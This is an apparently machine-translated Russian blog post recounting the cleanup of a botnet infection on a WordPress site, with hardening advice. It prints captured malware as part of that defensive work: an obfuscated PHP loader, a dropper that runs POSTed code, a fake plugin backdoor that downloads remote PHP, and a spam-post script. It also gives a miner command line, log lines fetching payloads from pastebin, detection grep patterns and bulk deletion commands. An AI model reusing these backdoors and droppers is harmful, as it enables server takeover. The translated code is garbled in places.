Предотвращение заражения WordPress вредоносными программами

    1. www.wordpresssite.com/wp-admin

    Я заметил несколько перенаправлений 302 при доступе к странице / wp-admin.
    И по вышеуказанной причине мы не смогли получить доступ к административной части нашего веб-сайта WordPress.

    2. .htaccess

    Я исследовал проблему, и первое, что мне пришло в голову, это файл .htaccess . Я отредактировал его и узнал, что его содержание было изменено, хотя разрешение файла было 444.

    3. Неизвестные файлы и папки

    Также я заметил, что некоторые неизвестные файлы и папки.
    Большинство файлов имеют расширение .php.suspected .

    Я также изучил содержимое серверов на хосте через SSH и обнаружил почти 2000 файлов stylewpp.php в папке / public_html. stylewpp.php содержит вредоносные php-коды.

    4. Случайные статьи в WP POST

    Мы нашли случайные статьи, вставленные в нашу БД WP.

    5. Случайные администраторы

    Я проверил панель администратора и обнаружил 2 неизвестных пользователей-администраторов, которые не были созданы ни одним пользователем. Идентификатор пользователя был 0.

    В этом случае я попытался выяснить причину проблемы. Это выглядело как уязвимость в wordpress core / theme / plugin. Поэтому, даже если мы изменим пароль системы / FTP / DB, злоумышленнику это не помешает, потому что он всегда будет использовать уязвимость и заражать сайт WP снова и снова.

    Шаги, предпринятые для предотвращения заражения вредоносным ПО:

    1. Восстановите файл .htaccess и установите разрешение 444
      Поскольку мне нужен доступ к панели администратора для дальнейшего изучения, я восстановил наш файл .htaccess, чтобы вернуть wp-admin к работе.
    2. Проверьте вкладку cron на наличие подозрительных записей.
      Поскольку я нашел почти 2000 файлов stylewpp.php вне папки public_html и один stylewpp.php в нашей корневой установке WP, я попытался удалить их все с помощью команды терминала. «Rm -rf stylewpp. *. *»
      Но они воссоздавались снова и снова.
      Поэтому я проверил вкладку cron и нашел следующую запись.

    Я удалил вышеупомянутую запись cron с самого начала, а затем стал искать все файлы stylewpp.php на всем сервере и удалил их все сразу. После удаления они перестали воссоздаваться.

    3. Убить подозрительные процессы на сервере.
    Я обнаружил 2 вредоносных процесса на сервере и уничтожил их по идентификатору процесса.

    500 56861 0,0 0,2 222180 10936? S Sep23 0:00 / usr / bin / php /public_html/stylewpp.php 
    500 56885 198 0,1 69408 8028? Sl Sep23 5940: 27 ./cnrig -a cryptonight --donate 1-й уровень - max-cpu-use 50 -o xmr.pool.minergate.com:45700 -u 4635633@mail.ru -px --variant 1 - К

    4. Проверьте журнал доступа и найдите подозрительные вызовы http.

    Из журнала доступа я обнаружил подозрительные HTTP-запросы со случайных IP-адресов.

    Из URL я получил следующие папки с вредоносными программами.
    1. bozzowi3j
    2. jieush2if
    3. тёинвур

    Расположение файлов:
    я обнаружил, что следующие файлы создаются / изменяются в корневой папке.
    1. jieush2if.zip
    2. xmlrpc.php
    3. index.php

    Я также обнаружил, что следующие 4 файла внедряются во все папки WP.
    1. .htaccess
    2. index.php
    3. 405.php
    4.406.php

    5. Заблокируйте подозрительные IP-адреса.
    После проверки журнала доступа блокируйте ips, которые постоянно выполняют HTTP-вызовы вредоносных скриптов.

    6. Удалите неизвестные файлы и папки с помощью каскадного удаления [ из журнала доступа]

    • Я удалил все неизвестные файлы и папки, которые подозревались из содержимого URL-адресов HTTP с сервера.
    • Удалены 405.php, 406.php из разных папок WP, а затем восстановлены исходные файлы из резервной копии.
    • Наряду с этим я запускаю следующую команду, чтобы узнать, какие файлы были изменены за последних 4 дня. Я просмотрел каждый из них и решил, удалять их или нет. В основном я восстановил основные файлы из резервной копии и удалил неизвестные файлы.
    find ./ -type f -mtime -4

    Удалите все файлы index.php с помощью этой команды:

    find -name index.php -exec rm -rf {} \;

    Найдите файлы ico с помощью следующей команды.

    find -name "*.ico"

    Если вы видите кучу странных файлов значков, начинающихся с “.” и имеющих случайную строку, они являются файлами php. Я просто удалил все файлы ico.

    find -name "* .ico" -exec rm -rf {} \;

    Если вы хотите сохранить файлы ico, просто удалите подозрительные файлы с помощью ftp.

    Были также файлы, отличные от .ico, которые были связаны с этим взломом. Простой способ определить, какое расширение они используют, – открыть один из ваших взломанных файлов index.php и скопировать эту строку текста:

    <? php 
    include 'publ \ 151c_ht \ 155l / wp \ 055incl \ 165des / \ 122eque \ 163ts / A \ 165th /. \ 0619a92 \ 071b9.i \ 143o';

    Вставьте его здесь: Unphp.net

    Он скажет вам, на какой вредоносный файл он указывает. Используйте эту информацию, чтобы удалить все файлы этого типа, используя команду SSH выше, но для злонамеренного расширения вместо .ico.

    • На моем сайте все они были php-файлами с 8-ю  символьными именами . Как dkelfesa.php. Используйте это регулярное выражение для поиска 8-символьных файлов php:
    find . -type f | egrep './[a-z]{8}\.php'

    Просмотрите каждый из них и удалите файлы, которые являются вредоносными. Как правило, имя не имеет никакого смысла. Если вы откроете их и увидите кучу php-кода, который вы не можете прочитать, значит, они злонамеренные (большинство из них будут в кодированном формате hexcode / base64).

    Искать тег <? Php во всех таблицах базы данных.

    <? PHP

    Запустите поиск в базе данных по тегу php, указанному выше, и просмотрите все результаты поиска вредоносного кода на вашем сайте в узлах или блоках контента. Удалите любой код, который вы не можете легко прочитать.

    • В инсталляции WordPress также было довольно много php-файлов, которые либо были изменены с помощью вредоносного php в верхней части файла, либо просто не принадлежали ему. Они были хитро названы и спрятаны в папки wp-admin / wp-content / wp-includes / plugins / themes, везде. Когда я их обнаружил, я использовал эти шаблоны grep, чтобы найти их. Используйте их на корневом уровне WHM / public_html для поиска вредоносных файлов php.

    Просмотрите каждый из них и удалите, если есть подозрение. Восстановите файлы из резервной копии.

    find . -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *" 
    find . -type f -name '*.php' | xargs grep -l " *Phar::interceptFileFuncs() *"
    find . -type f -name '*.php' | xargs grep -l " *@include *" 
    find . -type f -name '*.php' | xargs grep -l " *interceptFileFuncs *"
    find . -type f -name '*.php' | xargs grep -l " *eval *( *gzinflate *( *base64_decode *( *"
    find . -name "*.php" -exec grep -H "eval(" {} \;
    find . -type f -name '*.php' | xargs grep -l "eval *("
    find . -type f -name '*.php' | xargs grep -l " *base64_decode *"
    find . -type f -name '*.php' | xargs grep -l " *function *wscandir *"
    find . -type f -name '*.php' | xargs grep -l " *HTTP/1.0 *404 *Not *Found *"
    find . -type f -name '*.php' | xargs grep -l " *@gzuncompress *" 
    find . -type f -name '*.php' | xargs grep -l " *Array *( *) *; *global *" 
    find . -type f -name '*.php' | xargs grep -l " *@unserialize *"

    7. Проверьте целостность
    основных файлов. Большинство основных файлов WordPress никогда не следует изменять. Необходимо проверить наличие проблем с целостностью в папках wp-admin, wp-includes и root.

    Самый быстрый способ проверить целостность ваших основных файлов WordPress – использовать команду diff в терминале. Если вам неудобно использовать командную строку, вы можете вручную проверить свои файлы через SFTP.

    Если ничего не было изменено, ваши основные файлы чистые.
    Если что-то изменилось, удалите его и замените его резервной копией.
    Вы также можете установить 
    плагин Sucuri Inc. WP, чтобы узнать о любых изменениях в основных файлах ядра.

    8. Анализ вредоносного php-кода
    Было бы здорово, если бы вы могли анализировать вредоносные php-скрипты и расшифровывать их намерения, что поможет вам легко удалить инфекцию.

    Я проверил root index.php и обнаружил следующий код, введенный сверху.
    Я не мог понять, что это значит, потому что большинство кодов были в формате hexcode.

    <php
    $z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
    @require('wp-admin/A5');
    $O_00_0OO_O='10196';
    $O0O_O__0O0='1';
    $O___OOO000='1';
    $OO_0O_00O_=("t1j7n80g4hbcesydpvxuimkf6_olz2a5q-w93r");$O0_00O_OO_=$OO_0O_00O_{16}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{7}.$OO_0O_00O_{25}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{16}.$OO_0O_00O_{27}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{12}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{30}.$OO_0O_00O_{27}.$OO_0O_00O_{27}.$OO_0O_00O_{10}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{22};$OO00_O0__O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{13}.$OO_0O_00O_{26}.$OO_0O_00O_{11}.$OO_0O_00O_{22}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{27}.$OO_0O_00O_{20}.$OO_0O_00O_{12}.$OO_0O_00O_{4}.$OO_0O_00O_{0};$OO0_0__O0O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{7}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{21}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{30}.$OO_0O_00O_{25}.$OO_0O_00O_{15}.$OO_0O_00O_{30}.$OO_0O_00O_{0}.$OO_0O_00O_{30};$O_O_0_00OO=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_

    В других файлах index.php я обнаружил следующий блок кода.

    <? php 
    include 'publ \ 151c_ht \ 155l / wp \ 055incl \ 165des / \ 122eque \ 163ts / A \ 165th /. \ 0619a92 \ 071b9.i \ 143o';

    Я расшифровал вышеприведенный hexcode с помощью онлайн-инструментов, таких как http://ddecode.com/hexdecoder/ или https://www.unphp.net/.
    Я получил расшифрованный php-код

    <? php 
    include 'public_html / wp-includes / Requests / Auth / .19a929b9.ico'; 
    ?>

    Таким образом, я получил расположение вредоносного файла в виде изображения .ico, в которое вставлен php в его метатег. Я удалил этот файл.

    В 405.php я обнаружил следующий код, который помогал злоумышленнику в удаленном выполнении кода php.

    <? php 
    error_reporting (E_ERROR); set_time_limit (0); 
    if (isset ($ _ POST ['880051156510591875071'])) { 
    $ tofile = '407.php'; 
    $ a = base64_decode (strtr ($ _ POST ['880051156510591875071'], '-_,', '+ / =')); 
    $ a = '<? php'. $ a. '?>'; 
     @file_put_contents ($ tofile, $ a); 
    require_once ( '407.php'); 
     @unlink ($ tofile); 
    Выход; 
    } 
    ?>

    После удаления указанных файлов заражение сократилось до 80%.
    Но каждый день я получал следующие файлы, созданные в определенное время.

    1. wp-load-5ba4acb3dcd415ba4acb3dcdc6.php 
    2. wp-settings-5ba4acb0b6fbb5ba4acb0b7027

    Я потратил много времени на исследование того же самого и, наконец, я нашел причину этой проблемы.

    Я проверил журнал доступа с указанными выше именами файлов и нашел следующее.

    185.183.96.159 - - [25 / Sep / 2018: 03: 15: 45 +0100] "GET /? Key = uploadUpdate & url = key = uploadUpdate & url = https% 3A% 2F% 2Fpastebin.com% 2Fraw% 2FsYtyF6ag & file_name = wp-settings- 5bac3e81089ad5bac3e8108a05 
    HTTP / 1.1 "200 53523" http://mydomain.com "" Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, как Gecko) Chrome / 69.0.3497.92 Safari / 537.36 " 
    185.183.98 - - [25 / Sep / 2018: 03: 15: 45 +0100] "POST / wp-settings-5bac3e81089ad5bac3e8108a05.php HTTP / 1.1" 200 7499 "http://mydomain.com" "Mozilla / 5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit / 537,36 (KHTML, как Gecko) Chrome / 69.0.3497.92 Safari / 537.36 "

    посмотрите ниже параметры запроса.

    key=uploadUpdate&url=https%3A%2F%2Fpastebin.com%2Fraw%2FsYtyF6ag&file_name=wp-settings-5bac3e81089ad5bac3e8108a05

    Поэтому я выполнил приведенную выше строку запроса URL- адреса как http://mydomain.com/ key = uploadUpdate & url = https% 3A% 2F% 2Fpastebin.com% 2Fraw% 2FGz6SJVve & file_name = wp-load-5ba454512abf15ba454512ac3 b

    И он создал файл wp-settings-5bac3e81089ad5bac3e8108a05 .php в корневой папке WP. Я был очень удивлен, увидев создание файла.

    Затем я искал ключ с помощью команды « grep -r« uploadUpdate »* » и получил код В файле / wp-content / plugins / aksimet /index.php
    я также пытался использовать эту уязвимость, создавая различные файлы.

    Я нашел один подозрительный плагин под названием aksimet, который содержит только один index.php со следующим блоком кода.

    add_action ('init', 'wordpress_download'); 
    function wordpress_download () { 
    if ($ _ GET ['key'] == 'uploadUpdate') { 
    function wordpress_file_func ($ path, $ data) { 
    file_put_contents ($ path, '<? php /*'.uniqid().'* /?> '. $ data); 
    } 
    $ ch = curl_init (); 
    curl_setopt ($ ch, CURLOPT_URL, $ _GET ['url']); 
    curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt ($ ч, CURLOPT_TIMEOUT, 60); 
    $ data = curl_exec ($ ch); 
    $ dsdsvxz = $ data. ''; 
    wordpress_file_func ($ _ SERVER ["DOCUMENT_ROOT"]. '/'. $ _ GET ['file_name']. '. php', $ dsdsvxz); 
    } 
    }

    В приведенном выше блоке кода этот плагин позволяет веб-сайту WordPress принимать параметр в качестве ключа = uploadUpdate, url = вредоносного содержимого php и имя_файла в качестве строки имени файла.
    Поэтому я просто удалил этот плагин, и он прекратил создавать дубликаты вредоносных файлов wp-settings и wp-load php.

    9. Предотвращение случайного создания статьи.
    Я обнаружил из журнала доступа, что файл «content-main.php» выполняется вредоносной программой . Он находился по пути «/wp-content/content-main.php».
    Я делюсь частью кода, который был ответственен за случайное создание поста. Я просто удалил его.

    if (array_key_exists ('article', $ _REQUEST)) 
    { 
    $ load_path = get_load_path (); 
    require_once ($ load_path); 
    print "#loaded wp-load # \ n"; 
    list ($ content, $ title) = get_article (); 
    $ post_id = wp_insert_post ( 
    array ( 
    'post_title' => $ title, 
    'post_content' => $ content, 
    'post_status' => 'publish', 
    'post_date' => date ('Ymd H: i: s'), 
    '' post_author '=> get_admin_id (), 
    ' post_type '=>' post ', 
    ' post_category '=> array (0) 
    ) 
    ); 
    if ($ post_id) 
    { 
    $ link = get_permalink ($ post_id); 
    print "# Создано post_id:! $ post_id! $ link! # \ n";
    } 
    } 
    echo "#Failed: $ post_link # \ n"; 
    } 
    } 
    ?>

    10. Удалить подозрительных администраторов

    Я нашел 2 подозрительных пользователей-администраторов в списке пользователей и просто удалил их.

    11. Обновите WordPress до последней версии.
    Вы должны обновить существующую версию WordPress до последней версии, чтобы получить исправления ошибок в любой базовой функциональности WP. Наряду с этим вам необходимо обновить существующие темы и плагины, так как у тем / плагинов могут быть уязвимости.

    12. Измените все учетные данные.
    Вам необходимо изменить пароли cpanel, FTP и DB.
    Все администраторы также должны изменить свои пароли.

    13. Прекратить брутфорс.
    Даже если вы удалите все файлы, папки, уничтожите все вредоносные процессы и смените пароли, вредоносные программы никогда не будут бездействовать. Поскольку он уже добавил доменное имя вашего сайта, расположение файлов ip и вредоносных программ в свою базу данных.
    Таким образом, он будет пытаться совершать непрерывные HTTP-вызовы в местоположения вредоносных php-скриптов, которые вернут ошибку 404, что вполне нормально. Вы также не можете заблокировать все IP-адреса вредоносного ботнета, поскольку он изменяет IP-адреса.
    Он пытается взломать страницу входа.

    Нам нужно заблокировать такие запросы.
    Нам нужно установить надежный плагин безопасности, который сделает это с помощью мониторинга трафика в реальном времени.
    Я бы предложил установить плагин безопасности WordFence . Наряду с этим, вы должны также установить плагин advanced-nocaptcha-recaptcha .

    14. Блок xmlrpc
    XML-RPC – это вызов удаленной процедуры, который использует XML для кодирования своих вызовов и HTTP в качестве транспортного механизма. Короче говоря, это система, которая позволяет вам публиковать в своем блоге WordPress, используя популярные клиенты, такие как Windows Live Writer.

    Обновление сайта с помощью одной команды запускается удаленно. Звучит потрясающе. Но вскоре стало ясно, что хакеры, скрипты, боты будут использовать XML-RPC. Таким образом, функциональность XML-RPC (удаленного вызова процедур XML) в WordPress стала бэкдором для всех, кто пытается использовать установку WordPress. В большинстве случаев это приводит к DDoS-атакам XML-RPC .
    Отключите xmlrpc.php, используя .htaccess со следующим блоком кода.

    # BEGIN protect xmlrpc.php
    <files xmlrpc.php>
    order allow,deny
    deny from all
    </files>
    # END protect xmlrpc.php

    15. Используйте SFTP вместо FTP
    SFTP – это безопасная форма FTP. Когда пользователь открывает обычный сеанс ftp или большинство других соединений TCP / IP, вся передача между хостом и пользователем отправляется в виде простого текста. Любой, кто имеет возможность отслеживать сетевые пакеты, может прочитать данные, включая информацию о пароле. Если неавторизованный пользователь может войти в систему, у него есть возможность поставить под угрозу систему.

    16. Измените URL-адреса wp-login, wp-admin, wp-content
    по умолчанию. Было бы хорошо изменить эти URL-адреса расположения по умолчанию, чтобы они не могли быть предсказаны вредоносными ботнетами.
    Существует множество плагинов WP, которые можно использовать для изменения URL- адреса. wp-login, wp-admin, wp-content, URL плагинов.
    1. WPS Hide Login
    2. Protect Admin
    и тд.

    17. Установите плагины безопасности WP
    1. Securi
    2. Quttera Web Malware Scanner
    3. Wordfence

    18. Добавьте соответствующие права доступа к файлам и папкам.

    Используйте следующую команду, чтобы добавить 755 к папкам и 644 к файлам.

    chmod -R u+rwX,go+rX,go-w /path

    или

    find . -type d -exec chmod 755 {} \;
    find . -type f -exec chmod 644 {} \;

    19. Проверьте известные уязвимости в установленных плагинах.
    Я проверял каждый плагин на наличие известных уязвимостей и подозрительных файлов.
    Наконец, я нашел php-оболочку внутри папки загрузки плагина Slider Revolution, которая выглядит как уязвимость « удаленной загрузки и выполнения файлов ».

    Я нашел загруженную оболочку php по следующему пути к файлу и удалил ее.
    Также мне пришлось обновить плагин.

    /wp-content/uploads/revslider/templates/techco-menu/wp-rewrite.php

    Вы можете получить декодированное содержимое оболочки php здесь https://www.unphp.net/decode/4a3063bfce5d2135386de42a697733d9/

    Поэтому, прежде чем устанавливать любой плагин WordPress, мы должны проверить все известные уязвимости.
    Мы можем установить vulnerable-plugin-checker  или плагин-security-scanner / plugin, который проверяет наличие известных уязвимостей. Также вы можете проверить WPScan Vulnerability Database на любые уязвимости темы / плагина / ядра.
    Но он может не обнаружить все проблемы. Поэтому нам нужно искать его в Google.

    Заключение :

    В настоящее время вредоносные программы внедряются ботнетами, а не людьми. Он сканирует уязвимые URL и использует их один за другим.
    Затем он сохраняет доменное имя и ip в базе данных вредоносных программ, загружает вредоносный php-файл, используя уязвимость удаленного выполнения кода.
    Затем он продолжает непрерывные HTTP-вызовы для выполнения вредоносного php-файла, который заражает веб-сервер. Он также начинает брутфорсинг входа в систему, регистрации или любых контактных форм с использованием утечек данных.
    Таким образом, первоочередной задачей будет предотвращение распространения вредоносного ПО, а затем смягчение его воздействия путем поиска основной причины.

    Спасибо за чтение моей статьи. Я буду продолжать редактировать эту статью после получения новых материалов по безопасности.

    Оригинал

    Поделиться ссылкой:

    Метки:

    Оставить комментарий

    avatar
      Подписаться  
    Уведомление о